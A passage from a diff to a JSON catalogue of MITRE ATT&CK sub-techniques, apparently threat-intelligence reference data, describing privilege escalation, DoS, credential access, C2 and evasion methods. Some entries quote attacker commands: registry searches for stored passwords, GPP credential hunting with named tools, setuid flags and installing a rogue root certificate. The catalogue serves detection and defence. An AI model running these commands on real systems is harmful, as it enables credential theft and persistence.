"https://github.com/sensepost/notruler" + ] + }, + "related": [ + { + "dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53", + "type": "subtechnique-of" + } + ], + "uuid": "bf147104-abf9-4221-95d1-e81585859441", + "value": "Outlook Home Page - T1137.004" + }, + { + "description": "An adversary may perform shell escapes or exploit vulnerabilities in an application with the setsuid or setgid bits to get code running in a different user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application, the application will run with the privileges of the owning user or group respectively. (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware).", + "meta": { + "external_id": "T1548.001", + "kill_chain": [ + "mitre-attack:privilege-escalation", + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1548/001", + "http://man7.org/linux/man-pages/man2/setuid.2.html", + "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/" + ] + }, + "related": [ + { + "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", + "type": "subtechnique-of" + } + ], + "uuid": "6831414d-bb70-42b7-8030-d4e06b2660c9", + "value": "Setuid and Setgid - T1548.001" + }, + { + "description": "Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001) are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.\n\nBotnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)", + "meta": { + "external_id": "T1498.001", + "kill_chain": [ + "mitre-attack:impact" + ], + "mitre_data_sources": [ + "Sensor health and status", + "Network protocol analysis", + "Netflow/Enclave netflow", + "Network intrusion detection system", + "Network device logs" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "AWS", + "GCP", + "Azure AD", + "SaaS", + "Azure", + "Office 365" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1498/001", + "https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged", + "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf" + ] + }, + "related": [ + { + "dest-uuid": "d74c4a7e-ffbf-432f-9365-7ebf1f787cab", + "type": "subtechnique-of" + } + ], + "uuid": "0bda01d5-4c1d-4062-8ee2-6872334383c3", + "value": "Direct Network Flood - T1498.001" + }, + { + "description": "Adversaries may target the operating system (OS) for a DoS attack, since the (OS) is responsible for managing the finite resources on a system. These attacks do not need to exhaust the actual resources on a system since they can simply exhaust the limits that an OS self-imposes to prevent the entire system from being overwhelmed by excessive demands on its capacity.\n\nDifferent ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)\n\nACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)", + "meta": { + "external_id": "T1499.001", + "kill_chain": [ + "mitre-attack:impact" + ], + "mitre_data_sources": [ + "Network device logs", + "Netflow/Enclave netflow", + "Network intrusion detection system", + "SSL/TLS inspection" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1499/001", + "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf", + "https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/", + "https://www.corero.com/resources/ddos-attack-types/syn-flood-ack.html", + "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf" + ] + }, + "related": [ + { + "dest-uuid": "c675646d-e204-4aa8-978d-e3d6d65885c4", + "type": "subtechnique-of" + } + ], + "uuid": "0df05477-c572-4ed6-88a9-47c581f548f7", + "value": "OS Exhaustion Flood - T1499.001" + }, + { + "description": "Adversaries may patch the authentication process on a domain control to bypass the typical authentication mechanisms and enable access to accounts. \n\nMalware may be used to inject false credentials into the authentication process on a domain control with the intent of creating a backdoor used to access any user’s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)", + "meta": { + "external_id": "T1556.001", + "kill_chain": [ + "mitre-attack:credential-access", + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Authentication logs", + "API monitoring", + "DLL monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1556/001", + "https://www.secureworks.com/research/skeleton-key-malware-analysis", + "https://technet.microsoft.com/en-us/library/dn487457.aspx" + ] + }, + "related": [ + { + "dest-uuid": "f4c1826f-a322-41cd-9557-562100848c84", + "type": "subtechnique-of" + } + ], + "uuid": "d4b96d2c-1032-4b22-9235-2b5b649d0605", + "value": "Domain Controller Authentication - T1556.001" + }, + { + "description": "Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", + "meta": { + "external_id": "T1565.001", + "kill_chain": [ + "mitre-attack:impact" + ], + "mitre_data_sources": [ + "File monitoring", + "Application logs" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1565/001", + "https://content.fireeye.com/apt/rpt-apt38", + "https://www.justice.gov/opa/press-release/file/1092091/download" + ] + }, + "related": [ + { + "dest-uuid": "ac9e6b22-11bf-45d7-9181-c1cb08360931", + "type": "subtechnique-of" + } + ], + "uuid": "1cfcb312-b8d7-47a4-b560-4b16cc677292", + "value": "Stored Data Manipulation - T1565.001" + }, + { + "description": "Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM)\n\nVarious COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)", + "meta": { + "external_id": "T1559.001", + "kill_chain": [ + "mitre-attack:execution" + ], + "mitre_data_sources": [ + "Process monitoring", + "DLL monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1559/001", + "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html", + "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx", + "https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html", + "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/", + "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/" + ] + }, + "related": [ + { + "dest-uuid": "acd0ba37-7ba9-4cc5-ac61-796586cd856d", + "type": "subtechnique-of" + } + ], + "uuid": "2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", + "value": "Component Object Model - T1559.001" + }, + { + "description": "Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity)\n\nThe simplest, \"single-flux\" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity)\n\nIn contrast, the \"double-flux\" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.", + "meta": { + "external_id": "T1568.001", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "DNS records" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1568/001", + "https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref", + "https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref", + "https://www.welivesecurity.com/2017/01/12/fast-flux-networks-work/" + ] + }, + "related": [ + { + "dest-uuid": "7bd9c723-2f78-4309-82c5-47cad406572b", + "type": "subtechnique-of" + } + ], + "uuid": "29ba5a15-3b7b-4732-b817-65ea8f6468e6", + "value": "Fast Flux DNS - T1568.001" + }, + { + "description": "Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: reg query HKLM /f password /t REG_SZ /s\n* Current User Hive: reg query HKCU /f password /t REG_SZ /s", + "meta": { + "external_id": "T1552.002", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "Windows Registry" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1552/002", + "https://pentestlab.blog/2017/04/19/stored-credentials/" + ] + }, + "related": [ + { + "dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517", + "type": "subtechnique-of" + } + ], + "uuid": "341e222a-a6e3-4f6f-b69c-831d792b1580", + "value": "Credentials in Registry - T1552.002" + }, + { + "description": "Adversaries may target the different network services provided by systems to conduct a DoS. Adversaries often target DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.\n\nOne example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)\n\nAnother variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)", + "meta": { + "external_id": "T1499.002", + "kill_chain": [ + "mitre-attack:impact" + ], + "mitre_data_sources": [ + "Netflow/Enclave netflow", + "Network device logs", + "Network intrusion detection system", + "Web application firewall logs", + "Web logs", + "SSL/TLS inspection" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "AWS", + "GCP", + "Azure", + "Office 365", + "Azure AD", + "SaaS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1499/002", + "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf", + "https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/", + "https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new", + "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf" + ] + }, + "related": [ + { + "dest-uuid": "c675646d-e204-4aa8-978d-e3d6d65885c4", + "type": "subtechnique-of" + } + ], + "uuid": "38eb0c22-6caf-46ce-8869-5964bd735858", + "value": "Service Exhaustion Flood - T1499.002" + }, + { + "description": "Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. \n\nWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. \n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)", + "meta": { + "external_id": "T1556.002", + "kill_chain": [ + "mitre-attack:credential-access", + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "File monitoring", + "DLL monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1556/002", + "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html", + "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/" + ] + }, + "related": [ + { + "dest-uuid": "f4c1826f-a322-41cd-9557-562100848c84", + "type": "subtechnique-of" + } + ], + "uuid": "3731fbcd-0e43-47ae-ae6c-d15e510f0d42", + "value": "Password Filter DLL - T1556.002" + }, + { + "description": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", + "meta": { + "external_id": "T1565.002", + "kill_chain": [ + "mitre-attack:impact" + ], + "mitre_data_sources": [ + "Packet capture", + "Network protocol analysis" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1565/002", + "https://content.fireeye.com/apt/rpt-apt38", + "https://www.justice.gov/opa/press-release/file/1092091/download" + ] + }, + "related": [ + { + "dest-uuid": "ac9e6b22-11bf-45d7-9181-c1cb08360931", + "type": "subtechnique-of" + } + ], + "uuid": "d0613359-5781-4fd2-b5be-c269270be1f6", + "value": "Transmitted Data Manipulation - T1565.002" + }, + { + "description": "Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)\n\nThese group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key)\n\nThe following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:\n\n* Metasploit’s post exploitation module: post/windows/gather/credentials/gpp\n* Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\nOn the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: dir /s * .xml\n", + "meta": { + "external_id": "T1552.006", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Windows event logs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1552/006", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v%3Dws.11)", + "https://msdn.microsoft.com/library/cc422924.aspx", + "https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html", + "https://adsecurity.org/?p=2288" + ] + }, + "related": [ + { + "dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517", + "type": "subtechnique-of" + } + ], + "uuid": "8d7bd4f5-3a89-4453-9c82-2c8894d5655e", + "value": "Group Policy Preferences - T1552.006" + }, + { + "description": "Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)\n\nMicrosoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).", + "meta": { + "external_id": "T1559.002", + "kill_chain": [ + "mitre-attack:execution" + ], + "mitre_data_sources": [ + "Process monitoring", + "DLL monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1559/002", + "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/", + "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021", + "https://technet.microsoft.com/library/security/4053440", + "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/", + "https://www.contextis.com/blog/comma-separated-vulnerabilities", + "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee", + "https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/", + "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/" + ] + }, + "related": [ + { + "dest-uuid": "acd0ba37-7ba9-4cc5-ac61-796586cd856d", + "type": "subtechnique-of" + } + ], + "uuid": "232a7e42-cd6e-4902-8fe9-2960f529dd4d", + "value": "Dynamic Data Exchange - T1559.002" + }, + { + "description": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)", + "meta": { + "external_id": "T1568.002", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "DNS records", + "Netflow/Enclave netflow", + "Network device logs", + "Packet capture", + "Process use of network" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1568/002", + "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf", + "https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/", + "https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/", + "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html", + "https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html", + "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html", + "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/", + "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/", + "http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf", + "https://arxiv.org/pdf/1611.00791.pdf" + ] + }, + "related": [ + { + "dest-uuid": "7bd9c723-2f78-4309-82c5-47cad406572b", + "type": "subtechnique-of" + } + ], + "uuid": "118f61a5-eb3e-4fb6-931f-2096647f4ecd", + "value": "Domain Generation Algorithms - T1568.002" + }, + { + "description": "An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020)\n\nCreating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.", + "meta": { + "external_id": "T1578.002", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "GCP audit logs", + "Stackdriver logs", + "Azure activity logs", + "AWS CloudTrail logs" + ], + "mitre_platforms": [ + "AWS", + "GCP", + "Azure" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1578/002", + "https://content.fireeye.com/m-trends/rpt-m-trends-2020", + "https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/", + "https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs", + "https://cloud.google.com/logging/docs/audit#admin-activity" + ] + }, + "related": [ + { + "dest-uuid": "144e007b-e638-431d-a894-45d90c54ab90", + "type": "subtechnique-of" + } + ], + "uuid": "cf1c2504-433f-4c4e-a1f8-91de45a0318c", + "value": "Create Cloud Instance - T1578.002" + }, + { + "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)", + "meta": { + "external_id": "CAPEC-479", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "SSL/TLS inspection", + "Digital certificate logs" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1553/004", + "https://capec.mitre.org/data/definitions/479.html", + "https://en.wikipedia.org/wiki/Root_certificate", + "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf", + "https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/", + "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec", + "https://objective-see.com/blog/blog_0x26.html", + "https://docs.microsoft.com/sysinternals/downloads/sigcheck", + "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/" + ] + }, + "related": [ + { + "dest-uuid": "b83e166d-13d7-4b52-8677-dff90c548fd7", + "type": "subtechnique-of" + } + ], + "uuid": "c615231b-f253-4f58-9d47-d5b4cbdb6839", + "value": "Install Root Certificate - T1553.004" + }, + { + "description": "Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.\n\nAdversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny. ", + "meta": { + "external_id": "T1497.003", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:discovery" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1497/003" + ] + }, + "related": [ + { + "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "type": "subtechnique-of" + } + ], + "uuid": "4bed873f-0b7d-41d4-b93a-b6905d1f90b0", + "value": "Time Based Evasion - T1497.003" + }, + { + "description": "Adversaries may target resource intensive features of web applications to cause a denial of service (DoS). Specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself. (Citation: Arbor AnnualDoSreport Jan 2018)", + "meta": { + "external_id": "T1499.003", + "kill_chain": [ + "mitre-attack:impact" + ], + "mitre_data_sources": [ + "Network device logs", + "Network device logs", + "Network intrusion detection system", + "Web application firewall logs", + "Web logs", + "SSL/TLS inspection" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "AWS", + "GCP", + "Azure", + "Office 365", + "Azure AD", + "SaaS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1499/003", + "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf", + "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf" + ] + }, + "related": [ + { + "dest-uuid": "c675646d-e204-4aa8-978d-e3d6d65885c4", + "type": "subtechnique-of" + } + ], + "uuid": "18cffc21-3260-437e-80e4-4ab8bf2ba5e9", + "value": "Application Exhaustion Flood - T1499.003" + }, + { + "description": "Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in 